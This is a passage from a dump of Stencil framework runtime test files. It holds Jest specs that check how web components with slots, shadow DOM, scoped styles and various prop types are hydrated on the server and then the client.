serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n    expect(clientHydrated.root['s-cr'].nodeType).toBe(8);\n    expect(clientHydrated.root['s-cr']['s-cn']).toBe(true);\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        Hello\n      </cmp-a>\n    `);\n  });\n\n  it('root multiple text/element, no slot', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            top\n            <p>middle</p>\n            bottom\n          </Host>\n        );\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--t.1.0.0.0-->\n        top\n        <p c-id=\"1.1.0.1\">\n          <!--t.1.2.1.0-->\n          middle\n        </p>\n        <!--t.1.3.0.2-->\n        bottom\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        top\n        <p>\n          middle\n        </p>\n        bottom\n      </cmp-a>\n    `);\n  });\n\n  it('nested text slot with key', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host key=\"test\">\n            <cmp-b key=\"my-test-key\">light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <slot key=\"key1\"></slot>\n            <footer key=\"key2\"></footer>\n          </Host>\n        );\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1-->\n          <!--s.2.0.0.0.-->\n          <!--t.1.1.1.0-->\n          light-dom\n          <footer c-id=\"2.1.0.1\"></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <!--r.2-->\n          <!--s.2.0.0.0.-->\n          light-dom\n          <footer></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested, text slot, footer', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <slot></slot>\n            <footer></footer>\n          </Host>\n        );\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1-->\n          <!--s.2.0.0.0.-->\n          <!--t.1.1.1.0-->\n          light-dom\n          <footer c-id=\"2.1.0.1\"></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <!--r.2-->\n          <!--s.2.0.0.0.-->\n          light-dom\n          <footer></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested, text slot, header', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n          <!--t.1.1.1.0-->\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <!--r.2-->\n          <header></header>\n          <!--s.2.1.0.1.-->\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested, text slot, header/footer', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n            <footer></footer>\n          </Host>\n        );\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n          <!--t.1.1.1.0-->\n          light-dom\n          <footer c-id=\"2.2.0.2\"></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <!--r.2-->\n          <header></header>\n          <!--s.2.1.0.1.-->\n          light-dom\n          <footer></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested, multiple slots, header/footer', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>\n              <div slot=\"bottom\">bottom light-dom</div>\n              <div slot=\"top\">top light-dom</div>\n              middle light-dom\n            </cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot name=\"top\"></slot>\n            <slot></slot>\n            <slot name=\"bottom\"></slot>\n            <footer></footer>\n          </Host>\n        );\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1-->\n          <!--o.1.3-->\n          <!--o.1.5-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.top-->\n          <div c-id=\"1.3.1.1\" slot=\"top\">\n            <!--t.1.4.2.0-->\n            top light-dom\n          </div>\n          <!--s.2.2.0.2.-->\n          <!--t.1.5.1.2-->\n          middle light-dom\n          <!--s.2.3.0.3.bottom-->\n          <div c-id=\"1.1.1.0\" slot=\"bottom\">\n            <!--t.1.2.2.0-->\n            bottom light-dom\n          </div>\n          <footer c-id=\"2.4.0.4\"></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <!--r.2-->\n          <header></header>\n          <!--s.2.1.0.1.top-->\n          <div slot=\"top\">\n            top light-dom\n          </div>\n          <!--s.2.2.0.2.-->\n          middle light-dom\n          <!--s.2.3.0.3.bottom-->\n          <div slot=\"bottom\">\n            bottom light-dom\n          </div>\n          <footer></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-prop.spec.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { MEMBER_FLAGS } from '../../utils';\n\ndescribe('hydrate prop types', () => {\n  it('handles various prop types during both server and client hydration', async () => {\n    function Clamp(lowerBound: number, upperBound: number): any {\n      const clamp = (value: number) => Math.max(lowerBound, Math.min(value, upperBound));\n      return () => {\n        const key = Symbol();\n        return {\n          get() {\n            return this[key];\n          },\n          set(newValue: number) {\n            this[key] = clamp(newValue);\n          },\n          configurable: true,\n          enumerable: true,\n        };\n      };\n    }\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      constructor() {\n        // required for tests ('cos testing re-uses the same instance across tests but resets the flags)\n        // eslint-disable-next-line prefer-rest-params\n        arguments[0].$cmpMeta$.$members$.clamped[0] |= MEMBER_FLAGS.Setter;\n      }\n      @Prop({ mutable: true }) boolean: boolean;\n      @Prop({ mutable: true }) str: string;\n      @Prop({ mutable: true }) num: number;\n      private _accessor: number;\n      @Prop()\n      get accessor() {\n        return this._accessor || 0;\n      }\n      set accessor(newVal) {\n        this._accessor = newVal;\n      }\n      @Clamp(0, 10)\n      @Prop({ mutable: true })\n      clamped: number;\n\n      componentWillRender() {\n        this.num += 100;\n        this.str += ' world';\n        this.boolean = !this.boolean;\n        this.accessor += 100;\n      }\n\n      render() {\n        return `${this.boolean}-${this.str}-${this.num}-${this.accessor}-${this.clamped}`;\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a num=\"1\" clamped=\"11\" str=\"hello\" boolean=\"false\" accessor=\"1\"></cmp-a>`,\n      hydrateServerSide: true,\n    });\n\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" boolean=\"false\" clamped=\"11\" num=\"1\" s-id=\"1\" str=\"hello\" accessor=\"1\">\n        <!--r.1-->\n        <!--t.1.0.0.0-->\n        true-hello world-101-101-10\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n    expect(clientHydrated.root['s-cr'].nodeType).toBe(8);\n    expect(clientHydrated.root['s-cr']['s-cn']).toBe(true);\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a accessor=\"1\" boolean=\"false\" clamped=\"11\" class=\"hydrated\" num=\"1\" str=\"hello\">\n        <!--r.1-->\n        true-hello world-101-101-10\n      </cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-scoped.spec.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate scoped', () => {\n  it('does not support shadow, slot, light dom', async () => {\n    @Component({ tag: 'cmp-a', shadow: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <article>\n              <slot />\n            </article>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a>88mph</cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <article c-id=\"1.0.0.0\">\n          <!--s.1.1.1.0.-->\n          <!--t.0.1-->\n          88mph\n        </article>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n      supportsShadowDom: false,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <article>\n          <!--s.1.1.1.0.-->\n          88mph\n        </article>\n      </cmp-a>\n    `);\n  });\n\n  it('scoped, slot, light dom', async () => {\n    @Component({ tag: 'cmp-a', scoped: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <article>\n              <slot />\n            </article>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a>88mph</cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.c-->\n        <article c-id=\"1.0.0.0\">\n          <!--s.1.1.1.0.-->\n          <!--t.0.1-->\n          88mph\n        </article>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n    expect(clientHydrated.root['s-cr'].nodeType).toBe(8);\n    expect(clientHydrated.root['s-cr']['s-cn']).toBe(true);\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <!--r.1-->\n        <article class=\"sc-cmp-a sc-cmp-a-s\">\n          <!--s.1.1.1.0.-->\n          88mph\n        </article>\n      </cmp-a>\n    `);\n  });\n\n  it('root element, no slot', async () => {\n    @Component({ tag: 'cmp-a', scoped: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <p class=\"hi\">Hello</p>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <p c-id=\"1.0.0.0\" class=\"hi\">\n          <!--t.1.1.1.0-->\n          Hello\n        </p>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n    expect(clientHydrated.root['s-cr'].nodeType).toBe(8);\n    expect(clientHydrated.root['s-cr']['s-cn']).toBe(true);\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <!--r.1-->\n        <p class=\"hi sc-cmp-a\">\n          Hello\n        </p>\n      </cmp-a>\n    `);\n  });\n\n  it('adds a scoped-slot class to the slot parent element', async () => {\n    @Component({ tag: 'cmp-a', scoped: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <div class=\"wrapper\">\n              <p class=\"hi\">\n                <slot />\n              </p>\n            </div>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\\\"hydrated\\\" s-id=\\\"1\\\">\n        <!--r.1-->\n        <div c-id=\\\"1.0.0.0\\\" class=\\\"wrapper\\\">\n          <p c-id=\\\"1.1.1.0\\\" class=\\\"hi\\\">\n            <!--s.1.2.2.0.-->\n          </p>\n        </div>\n      </cmp-a>`);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root.querySelector('p').className).toBe('hi sc-cmp-a-s sc-cmp-a');\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\\\"hydrated sc-cmp-a-h\\\">\n        <!--r.1-->\n        <div class=\\\"sc-cmp-a wrapper\\\">\n          <p class=\\\"hi sc-cmp-a sc-cmp-a-s\\\">\n            <!--s.1.2.2.0.-->\n          </p>\n        </div>\n      </cmp-a>`);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-shadow-child.spec.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate, shadow child', () => {\n  it('no slot', async () => {\n    @Component({ tag: 'cmp-a', shadow: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <p>Hello</p>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <p c-id=\"1.0.0.0\">\n          <!--t.1.1.1.0-->\n          Hello\n        </p>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <p>\n            Hello\n          </p>\n        </mock:shadow-root>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, text slot', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <!--s.2.0.0.0.-->\n          <!--t.1.1.1.0-->\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <slot></slot>\n          </mock:shadow-root>\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, shadow element header', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b></cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <header></header>\n            <slot></slot>\n          </mock:shadow-root>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, shadow text header', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b></cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            shadow-header\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--t.2.0.0.0-->\n          shadow-header\n          <!--s.2.1.0.1.-->\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            shadow-header\n            <slot></slot>\n          </mock:shadow-root>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested shadow, text slot, header', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n          <!--t.1.1.1.0-->\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <header></header>\n            <slot></slot>\n          </mock:shadow-root>\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, shadow header text, shadow footer elm w/ text', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b></cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            shadow-header\n            <footer>shadow-footer</footer>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--t.2.0.0.0-->\n          shadow-header\n          <footer c-id=\"2.1.0.1\">\n            <!--t.2.2.1.0-->\n            shadow-footer\n          </footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            shadow-header\n            <footer>\n              shadow-footer\n            </footer>\n          </mock:shadow-root>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested, text slot, header/footer', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n            <footer></footer>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n          <!--t.1.1.1.0-->\n          light-dom\n          <footer c-id=\"2.2.0.2\"></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <header></header>\n            <slot></slot>\n            <footer></footer>\n          </mock:shadow-root>\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('root level element, non-shadow, shadow, shadow,', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <slot />\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <section>\n              <slot></slot>\n            </section>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-c', shadow: true })\n    class CmpC {\n      render() {\n        return (\n          <Host>\n            <article>cmp-c</article>\n          </Host>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB, CmpC],\n      html: `\n        <cmp-a>\n          <cmp-b>\n            cmp-b-top-text\n            <cmp-c></cmp-c>\n          </cmp-b>\n        </cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.2-->\n        <!--s.1.0.0.0.-->\n        <cmp-b c-id=\"0.2\" class=\"hydrated\" s-id=\"2\" s-sn=\"\">\n          <!--r.2-->\n          <!--o.0.4.-->\n          <!--o.0.5.-->\n          <section c-id=\"2.0.0.0\">\n            <!--s.2.1.1.0.-->\n            <!--t.0.4-->\n            cmp-b-top-text\n            <cmp-c c-id=\"0.5\" class=\"hydrated\" s-id=\"3\" s-sn=\"\">\n              <!--r.3-->\n              <article c-id=\"3.0.0.0\">\n                <!--t.3.1.1.0-->\n                cmp-c\n              </article>\n            </cmp-c>\n          </section>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB, CmpC],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\\\"hydrated\\\">\n        <!--r.1-->\n        <!--s.1.0.0.0.-->\n        <cmp-b class=\\\"hydrated\\\">\n          <mock:shadow-root>\n            <section>\n              <slot></slot>\n            </section>\n          </mock:shadow-root>\n          cmp-b-top-text\n          <cmp-c class=\\\"hydrated\\\">\n            <mock:shadow-root>\n              <article>\n                cmp-c\n              </article>\n            